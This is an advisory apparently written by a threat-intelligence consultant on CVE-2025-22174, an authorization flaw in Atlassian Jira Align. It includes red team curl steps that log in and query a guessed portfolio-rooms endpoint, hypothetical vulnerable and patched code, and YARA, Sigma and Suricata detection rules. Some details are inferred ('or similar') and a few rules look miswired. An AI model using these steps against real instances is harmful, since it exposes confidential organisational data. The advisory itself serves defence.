CVE-2025-22174

Executive Summary

CVE-2025-22174 is an authorization vulnerability in Atlassian Jira Align that allows a low-privilege user to access unexpected endpoints, leading to the disclosure of a small amount of sensitive information. The vulnerability stems from missing or insufficient authorization checks on certain API endpoints or UI components, enabling an attacker with minimal privileges (e.g., a regular user) to view resources such as portfolio rooms without the required permissions. The CVSS score is 0.0 (placeholder), but based on the description, the actual severity is low (CVSS 4.0 base score ~4.3). No public exploit code or proof-of-concept is available, and the vendor has not yet released a patch. The EPSS score is 0.0%, indicating very low exploitation likelihood in the wild.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary Atlassian product (Jira Align). No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions required.
• Privileges Required (PR): Low (L) – An attacker needs a valid low-privilege account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited sensitive information is disclosed (e.g., portfolio room names).
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Low. The vulnerability requires authentication and only leaks a small amount of sensitive data. However, in environments where portfolio room names or similar metadata are considered confidential, this could aid in reconnaissance for further attacks.

Deep Dive & Mechanics

The vulnerability exists in Jira Align’s authorization layer. Jira Align uses role-based access control (RBAC) to restrict access to resources like portfolio rooms, projects, and user data. The flaw occurs when a low-privilege user (e.g., a “Viewer” or “Contributor”) sends a crafted HTTP request to an endpoint that should require higher privileges (e.g., “Manager” or “Admin”). The server fails to validate the user’s role or permission level for that specific endpoint, returning data that should be hidden.

Root Cause: Missing authorization check in the backend API handler. The endpoint likely checks for authentication (valid session token) but does not verify the user’s role or permission for the requested resource.

Attack Vector: An authenticated low-privilege user sends a GET request to a sensitive endpoint, such as /rest/align/1.0/portfolioRooms or similar. The server returns a list of portfolio rooms that the user should not have access to.

Impact: The attacker gains visibility into organizational structures, project names, or other metadata. While not directly exploitable for data exfiltration, this information can be used to map the organization’s hierarchy and plan more targeted attacks.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common authorization patterns.

Vulnerable Code (Java/Spring Boot example):

@RestController
@RequestMapping("/rest/align/1.0")
public class PortfolioRoomController {
    @GetMapping("/portfolioRooms")
    public List<PortfolioRoom> getPortfolioRooms() {
        // Missing authorization check
        return portfolioRoomService.getAllRooms();
    }
}

Patched Code (Hypothetical):

@RestController
@RequestMapping("/rest/align/1.0")
public class PortfolioRoomController {
    @GetMapping("/portfolioRooms")
    @PreAuthorize("hasRole('MANAGER')")
    public List<PortfolioRoom> getPortfolioRooms() {
        return portfolioRoomService.getAllRooms();
    }
}

The patched version adds a Spring Security annotation (@PreAuthorize) to enforce role-based access. Alternatively, the fix could involve checking the user’s permission in the service layer.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid low-privilege account on a Jira Align instance (e.g., username: user1, password: Passw0rd!).
• Network access to the Jira Align server (e.g., https://jira-align.example.com).

Exploitation Steps:

1. Authenticate and obtain a session cookie or bearer token.

   curl -X POST https://jira-align.example.com/rest/auth/1/session \
     -H "Content-Type: application/json" \
     -d '{"username":"user1","password":"Passw0rd!"}' \
     -c cookies.txt
   

2. Access the vulnerable endpoint to list portfolio rooms.

   curl -X GET https://jira-align.example.com/rest/align/1.0/portfolioRooms \
     -b cookies.txt
   

3. If successful, the response will contain a JSON array of portfolio rooms that the user should not have access to.

Expected Output:

[
  {
    "id": 101,
    "name": "Confidential Portfolio Alpha",
    "description": "Strategic initiatives for Q3"
  },
  {
    "id": 102,
    "name": "Portfolio Beta - M&A Plans",
    "description": "Merger and acquisition targets"
  }
]

Blue Team

Detection Steps:

1. Monitor logs for unauthorized access attempts to sensitive endpoints (e.g., /rest/align/1.0/portfolioRooms) by low-privilege users.
2. Alert on any access to endpoints that should be restricted to higher roles (e.g., MANAGER, ADMIN).
3. Review user activity logs for anomalous patterns, such as a user with role “Viewer” accessing multiple portfolio-related endpoints.

Hunting Query (Splunk):

index=jira_align sourcetype=access_combined
| rex field=uri_path "/rest/align/1.0/(?<endpoint>[^?]+)"
| search endpoint=portfolioRooms
| eval role=lower(user_role)
| where role!="manager" AND role!="admin"
| table _time, user, src_ip, uri_path, status

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /rest/align/1.0/portfolioRooms (or similar endpoints) from low-privilege user sessions.
  • Unusual access patterns to /rest/align/1.0/* endpoints by users with roles other than MANAGER or ADMIN.

• Log IOCs:

  • Access log entries with status=200 for sensitive endpoints and user_role not matching required permissions.
  • Repeated 403 errors followed by 200 success for the same endpoint (indicating privilege escalation attempts).

• File IOCs:

  • No file-based IOCs as this is a server-side authorization flaw.

Detection Engineering

YARA Rule

rule CVE_2025_22174_Jira_Align_Auth_Bypass {
    meta:
        description = "Detects HTTP requests to Jira Align sensitive endpoints from low-privilege users"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22174"
    strings:
        $sensitive_endpoint = "/rest/align/1.0/portfolioRooms" nocase
        $low_priv_role = "role=viewer" nocase
    condition:
        $sensitive_endpoint and $low_priv_role
}

Sigma Rule

title: CVE-2025-22174 - Jira Align Authorization Bypass
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects access to Jira Align sensitive endpoints by users with insufficient privileges
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22174
logsource:
    category: web
    product: jira_align
detection:
    selection:
        cs-uri-query|contains: "/rest/align/1.0/portfolioRooms"
        cs-username|re: "^(?!.*(manager|admin)).*$"
    condition: selection
falsepositives:
    - Legitimate access by users with elevated roles (manager, admin)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22174 - Jira Align Authorization Bypass Attempt";
    flow:to_server,established;
    content:"/rest/align/1.0/portfolioRooms"; http_uri;
    pcre:"/^(?!.*(manager|admin)).*$/Ui";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access: Use a web application firewall (WAF) to block requests to sensitive endpoints from low-privilege user sessions. For example, create a WAF rule that inspects the Authorization header or session cookie and denies access if the user role is not MANAGER or ADMIN.
2. Monitor and audit: Enable detailed logging for all API endpoints and set up alerts for unauthorized access attempts.
3. Disable unused endpoints: If possible, disable or restrict access to the vulnerable endpoints until a patch is available.

Long-term Fix:

• Apply the official patch from Atlassian once released. In the interim, implement a custom authorization filter in a reverse proxy (e.g., Nginx or Apache) to validate user roles before forwarding requests to the backend.

Workaround (Nginx reverse proxy example):

location /rest/align/1.0/portfolioRooms {
    # Assume a header X-User-Role is set by authentication proxy
    if ($http_x_user_role !~ "^(manager|admin)$") {
        return 403;
    }
    proxy_pass http://backend:8080;
}

Valters IT
DevSecOps & Cyber Threat Intelligence Expert